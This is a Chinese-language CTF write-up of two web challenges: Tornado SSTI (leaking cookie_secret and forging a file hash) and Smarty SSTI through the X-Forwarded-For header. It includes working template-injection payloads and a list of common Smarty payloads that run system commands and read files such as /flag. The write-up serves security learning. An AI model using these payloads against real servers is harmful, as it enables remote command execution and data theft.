[護網杯 2018]easy_tornado(tornado SSTI)
Tornado是python的web框架
打開題目是3個txt的鏈接:

依次打開,注意url:

flag在/fllllllllllllag

render(渲染),render()是生成模板的函式,差不多就是考模板注入了

cookie_secret:https://tornado-zh.readthedocs.io/zh/latest/guide/security.html
把cookie_secret+md5(filename)進行md5就是filehash,要想辦法弄出cookie_secret
嘗試訪問/file?filename=/fllllllllllllag,url出現error?msg=Error,發現msg引數可控,其實file?filename=,(filename的值隨意)也是同樣的結果


服務端模版注入漏洞檢測payload整理

發現過濾了數學運算子
下載tornado框架原始碼,匯入pycharm,全域搜索cookie_secret:

看到cookie_secret在handler.application.settings配置中,

{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '4dea0e25-9f47-4263-9be8-5b49b83ae3ec'}
利用cookie_secret,求出filehash:
<?php
$cookie_secret = '4dea0e25-9f47-4263-9be8-5b49b83ae3ec';
echo md5($cookie_secret.md5('/fllllllllllllag'));
payload:/file?filename=/fllllllllllllag&filehash=d42012554c615c9eabad5dd6533a2bb9
flag:

[CISCN2019 華東南賽區]Web11(Smarty SSTI)

1、右上角的當前IP是buu靶機的內網IP;最下面的“Build With Smarty !”可猜網頁用PHP的Smarty引擎;中間XFF,猜測XFF處可能是SSTI注入點
{$smarty} 保留變數

可得Smarty版本為3.1.30,確定是Smarty的SSTI
2、ls查看目錄下有哪些檔案:{if system("ls /")}{/if}

查看flag:{if system("cat /flag")}{/if}

筆記
Smarty常用payload:
利用smarty的{if}條件
-
{$smarty.version}查看smarty版本號
-
{if phpinfo()}{/if}查看php資訊
-
{if system('ls /')}{/if}查看根目錄下的檔案
-
{if system('cat /flag')}{/if}
-
{if readfile('/flag')}{/if}
-
{if show_source('/flag')}{/if}
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/139692.html
標籤:其他
下一篇:Python開發
